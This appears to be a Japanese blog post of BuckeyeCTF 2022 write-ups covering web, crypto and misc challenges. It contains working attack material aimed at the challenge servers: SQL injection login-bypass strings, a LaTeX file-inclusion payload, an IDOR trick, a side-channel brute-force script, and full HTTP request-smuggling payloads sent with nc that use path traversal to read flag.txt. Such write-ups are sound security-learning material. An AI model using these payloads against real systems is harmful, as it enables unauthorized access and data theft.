はまやんはまやんはまやん

hamayanhamayan's blog

BuckeyeCTF 2022 Writeups

[web] buckeyenotes

ユーザー名はbrutusB3stNut9999らしい。
ログイン画面もあるので、SQLiを試す。

POST /index.phpに対して、手始めにusername=brutusB3stNut9999&password='%20or%20''%3d'を投げてみると、nice try, hacker >:D I removed your equal signsと言われる。
方向性はあっていそう。

色々試すと、username=brutusB3stNut9999&password='%20or%201%20--で応答が変わる。
Logged in as rene. Nothing posted yet :(
だが、username=rene&password='%20or%201%20--としても応答は変わらない。
そうか、恒真になっているのか。パスワードを' or 1 limit 1 offset 1 --とするとフラグが得れた。
つまりusername=brutusB3stNut9999&password='%20or%201%20limit%201%20offset%201%20--でフラグ。

buckeye{wr1t3_ur_0wn_0p3n_2_pwn}

[web] pong

websocketで通信するwebゲームが与えられる。

  • ゲーム開始時
    • 送信 42["begin"]
    • 受信 42["begin",{"bvx":0.002154512541541786,"bvy":-0.0017458436916229707}]
      • 多分初期加速度
  • 勝敗が決する
    • 42["score",-0.25047568828470707]というのが大量に送られる

サーバー側からすると、scoreくらいしか判定に使えそうなものはなさそう。

if(bx < -.1 || bx > 1.1) {
    socket.emit("score", bx);
}

みたいなコードもあるので、1.2くらいを送れば良さそう。
負けた時に送られているスコアを見ると-0.1ずつされていた。
負けた時のスコアを1.2くらいに変えて、1.3,1.4,...のように増やしていくと、上のバーが増えていって、何回かやっているとフラグが得られた。

buckeye{1f_3v3ry0n3_ch3475_175_f41r}

[web] owl

Discordで連絡すると、反応するBOTが与えられる。
URLを与えるとCookie経由でフラグをくれるが、ドメインにowlを含む必要があるらしい。
request catcherで適当にowlを含むドメインを作って、リクエストを送ってもらえばいい。

https://owl-sadjfgjiwaejgtiwaejigsdfd.requestcatcher.com/
を使った。

buckeye{7h3_m0r3_17_5335_7h3_1355_17_h0075}

[web] textual

flag.texを読み込めればいい。

\documentclass{article}
\begin{document}
\input{flag.tex}
\end{document}

を入れてCtrl+sすればフラグが得られる。

buckeye{w41t_3v3n_l4t3x_15_un54f3}

[web] quizbot 解けず

解けず。

https://github.com/Phil-ip-M/CTF-writeups-DIG174L/blob/main/Web/quizbot.md

あー、なるほど。これは解けないとダメだな

[web] scanbook

特定のメッセージを入れるとQRコードが発行されて、それを読み込ませればメッセージが見られるサイト。
何個かQRコードを作ってみると連番の数値がQRコードになっているだけ。
数値を戻せばほかの人の投稿が見られそう。IDORか?

数を適当に試すと0をQRコードにしたものを読み込ませるとフラグが出てきた。
色々回り道してしまったな…

buckeye{4n_1d_numb3r_15_N07_4_p455w0rd}

[web] Hambone

/asdfのように適当に文字列を追加するとOnly hexadecimal values [0-9A-Fa-f] is allowed in URLと言われた。
なるほど。

/00とすると背景が変わった。
なるほど、

def get_distances(padded_url : str, flag_path : str):
    distances = []
    for i in range(3):
        # calculate hamming distance on 16 byte subgroups
        flag_subgroup = flag_path[i*32:i*32+32]
                
        z = int(padded_url[i*32:i*32+32], 16)^int(flag_subgroup, 16)
        distances.append(bin(z).count('1'))  
        
    return distances

のような感じでハミング距離が与えられる。
000000...から初めて100000...にしてハミング距離が縮まるかを確認していけば良さそう。
「hexを32文字ずつ取り出している16bytes分 xor 入力値16bytes分」を計算後の1となっているビット数が1つのRGB値になっている。
48bytes分先頭から特定していこう。

import requests
import time
import re
from Crypto.Util.number import *

base = 'https://hambone.chall.pwnoh.io'

prefix = b'\x80'
rgb = [b'\x00' * 16] * 3

def get(rgb):
    h = rgb[0].hex() + rgb[1].hex() + rgb[2].hex()
    url = f'{base}/{h}'
    print(url)
    
    t = requests.get(url).text
    a = re.search(r'<body style=\"background: #([0-9a-f][0-9a-f])([0-9a-f][0-9a-f])([0-9a-f][0-9a-f])\">', t)
    #a = re.search(r'<p style="color:#([0-9a-f][0-9a-f])([0-9a-f][0-9a-f])([0-9a-f][0-9a-f])\">', t)
    print(t)
    r = int(a.groups()[0], 16)
    g = int(a.groups()[1], 16)
    b = int(a.groups()[2], 16)
    #print(r)
    #print(g)
    #print(b)
    #exit(0)
    return (r, g, b)

def up(b, dig):
    return long_to_bytes(bytes_to_long(prefix + b) ^ pow(2, digit))[1:]

for digit in range(8 * 16 + 1):
    (r1, g1, b1) = get(rgb)

    print(f'{digit} / 128')

    rgb2 = [
        up(rgb[0], digit),
        up(rgb[1], digit),
        up(rgb[2], digit)
    ]

    (r2, g2, b2) = get(rgb2)

    if r1 > r2:
        rgb[0] = rgb2[0]
    else:
        r2 = r1
    if g1 > g2:
        rgb[1] = rgb2[1]
    else:
        g2 = g1
    if b1 > b2:
        rgb[2] = rgb2[2]
    else:
        b2 = b1
    
    print(f'r: {rgb[0]} ({r1} -> {r2})')
    print(f'g: {rgb[1]} ({g1} -> {g2})')
    print(f'b: {rgb[2]} ({b1} -> {b2})')
    print("==============================================================")

    time.sleep(5)

とりあえず、flag_pathが
538d3c13426a67b5b75e76f8ca2573ef4822ddd465220d5484e8887394703cac87ad79e3696098c779a669b7ebc74d62
であることは分かったが、何も出てこない…

逆か?と思って、

https://gchq.github.io/CyberChef/#recipe=From_Hex('Auto')NOT()To_Hex('None',0)&input=NTM4ZDNjMTM0MjZhNjdiNWI3NWU3NmY4Y2EyNTczZWY0ODIyZGRkNDY1MjIwZDU0ODRlODg4NzM5NDcwM2NhYzg3YWQ3OWUzNjk2MDk4Yzc3OWE2NjliN2ViYzc0ZDYy

で逆にしてみるとフラグが出てきた。

GET /ac72c3ecbd95984a48a1890735da8c10b7dd222b9addf2ab7b17778c6b8fc3537852861c969f6738865996481438b29d

buckeye{th3_b4ckgr0und_i5_n0t_4_l13}

[web] goober 解けず

解けず。
SVGRFIするんだろうが、解けず。

https://discord.com/channels/881578226546257941/1032359206902321163/1039037057730871456

あ”ー

   // remove custom doctype, dtd
    reg := regexp.MustCompile(`<!DOCTYPE[^>[]*(\[[^]]*\])?>`)
    contentSafe := reg.ReplaceAllString(contents, "")

これが全く目に入ってこなかった。二重で書いとけばいい系ね。

[web] shortbread

haproxy+gunicornでアクセス制限といえば、Request Smugglingなので脆弱性を探す。
requirements.txtでgunicorn==20.0.2のようにgunicornがバージョン指定されている所から以下が見つかる。
grenfeldt.dev

適当にlongpathを生成して、以上のブログを参考にpayloadを組み立てる。

echo -en "GET / HTTP/1.1\r\nHost: shortbread.chall.pwnoh.io:13389\r\nContent-Length: 261\r\nSec-Websocket-Key1: x\r\n\r\nxxxxxxxxGET /admin/api/logs?path=95a97864be4e542b44042dfc8f24c6eeba7a76551ad76e04d9f35d7befe68013532b30cf853bb45b19f849df2e5949b83d43eba833d9840a30714df7f593a05fd869174aa1cc48ef3fb2fd48ae90 HTTP/1.1\r\nHost: shortbread.chall.pwnoh.io:13389\r\nContent-Length: 57\r\n\r\nGET / HTTP/1.1\r\nHost: shortbread.chall.pwnoh.io:13389\r\n\r\n" | nc shortbread.chall.pwnoh.io 13389

とすると

...
    <div>
        <h3> Long url: 95a97864be4e542b44042dfc8f24c6eeba7a76551ad76e04d9f35d7befe68013532b30cf853bb45b19f849df2e5949b83d43eba833d9840a30714df7f593a05fd869174aa1cc48ef3fb2fd48ae90 </h3>    
    </div>

    <div class="alert alert-secondary" role="alert">
      <p> 2022-11-06 06:37:53.996661 [172.17.0.14] Created link http://shortbread.chall.pwnoh.io:13389/url/95a97864be4e542b44042dfc8f24c6eeba7a76551ad76e04d9f35d7befe68013532b30cf853bb45b19f849df2e5949b83d43eba833d9840a30714df7f593a05fd869174aa1cc48ef3fb2fd48ae90 to http://shortbread.chall.pwnoh.io:13389/ </p>
    </div>

ok. 良い感じ。

echo -en "GET / HTTP/1.1\r\nHost: shortbread.chall.pwnoh.io:13389\r\nContent-Length: 128\r\nSec-Websocket-Key1: x\r\n\r\nxxxxxxxxGET /admin/api/logs?path=../../../../../flag.txt HTTP/1.1\r\nHost: shortbread.chall.pwnoh.io:13389\r\nContent-Length: 57\r\n\r\nGET / HTTP/1.1\r\nHost: shortbread.chall.pwnoh.io:13389\r\n\r\n" | nc shortbread.chall.pwnoh.io 13389

でフラグ獲得。

buckeye{1_th1nk_1ll_st1ck_t0_fr0nt_3nd}

[crypto] megaxord

ヒントから察するに何かでxorしてあると見られる。
cyberchefに通してxor bruteforceすると58(hex)で良い感じにぞろぞろ出てくる。
フラグがそこに含まれていた。

buckeye{m1gh7y_m0rph1n_w1k1p3d14_p4g3}

[crypto] Twin prime RSA

p, q=p+2なので双子素数
N = pq = p(p+2) = p2 + 2pとなり、p^2 + 2p - N = 0を解けばpが分かる。
後は復号化する。

#sage
n = 20533399299284046407152274475522745923283591903629216665466681244661861027880216166964852978814704027358924774069979198482663918558879261797088553574047636844159464121768608175714873124295229878522675023466237857225661926774702979798551750309684476976554834230347142759081215035149669103794924363457550850440361924025082209825719098354441551136155027595133340008342692528728873735431246211817473149248612211855694673577982306745037500773163685214470693140137016315200758901157509673924502424670615994172505880392905070519517106559166983348001234935249845356370668287645995124995860261320985775368962065090997084944099
p = var('p')
ps = solve([p^2 + 2*p - n == 0], p)
for p in ps:
    print(p)

'''
p == 143294798577213005576020354449363336712753101204933361044269678287588574905872412650617497576541788967876246407437412477908557870604609568483821469789039751874662646080352254896471732798522024624126808158129285267986755832482176755174033932685828569532434529721714065504111788246725634802602600226314398282709
p == -143294798577213005576020354449363336712753101204933361044269678287588574905872412650617497576541788967876246407437412477908557870604609568483821469789039751874662646080352254896471732798522024624126808158129285267986755832482176755174033932685828569532434529721714065504111788246725634802602600226314398282711
'''

上のpを使えばいい。

n = 20533399299284046407152274475522745923283591903629216665466681244661861027880216166964852978814704027358924774069979198482663918558879261797088553574047636844159464121768608175714873124295229878522675023466237857225661926774702979798551750309684476976554834230347142759081215035149669103794924363457550850440361924025082209825719098354441551136155027595133340008342692528728873735431246211817473149248612211855694673577982306745037500773163685214470693140137016315200758901157509673924502424670615994172505880392905070519517106559166983348001234935249845356370668287645995124995860261320985775368962065090997084944099
c = 786123694350217613420313407294137121273953981175658824882888687283151735932871244753555819887540529041840742886520261787648142436608167319514110333719357956484673762064620994173170215240263058130922197851796707601800496856305685009993213962693756446220993902080712028435244942470308340720456376316275003977039668016451819131782632341820581015325003092492069871323355309000284063294110529153447327709512977864276348652515295180247259350909773087471373364843420431252702944732151752621175150127680750965262717903714333291284769504539327086686569274889570781333862369765692348049615663405291481875379224057249719713021

p = 143294798577213005576020354449363336712753101204933361044269678287588574905872412650617497576541788967876246407437412477908557870604609568483821469789039751874662646080352254896471732798522024624126808158129285267986755832482176755174033932685828569532434529721714065504111788246725634802602600226314398282709
q = n // p

from Crypto.Util.number import *

e = 0x10001

phi = (p - 1) * (q - 1)
d = pow(e, -1, phi)
print(long_to_bytes(pow(c, d, n)))

buckeye{B3_TH3R3_OR_B3_SQU4R3abcdefghijklmonpqrstuvwxyz0123456789}

[misc] keyboardwarrior

Bluetooth通信が流れている。
キーボードの入力を復元すれば良さそう。

Wiresharkで開いて眺めると「Rcvd Handle Value Notification, Handle: 0x001d (Human Interface Device: Unknown」というそれっぽいものがある。
構造体も認識されているので眺めると、Bluetooth Attribute ProtonolのValue部分がUSBでのキーボード通信として流れてくるものと酷似している。

データを抜き出してきて、後はDecoding Mixed Case USB Keystrokes from PCAPを参考に復元すればいい。

buckeyectf{4v3r4g3_b13_3nj0y3r}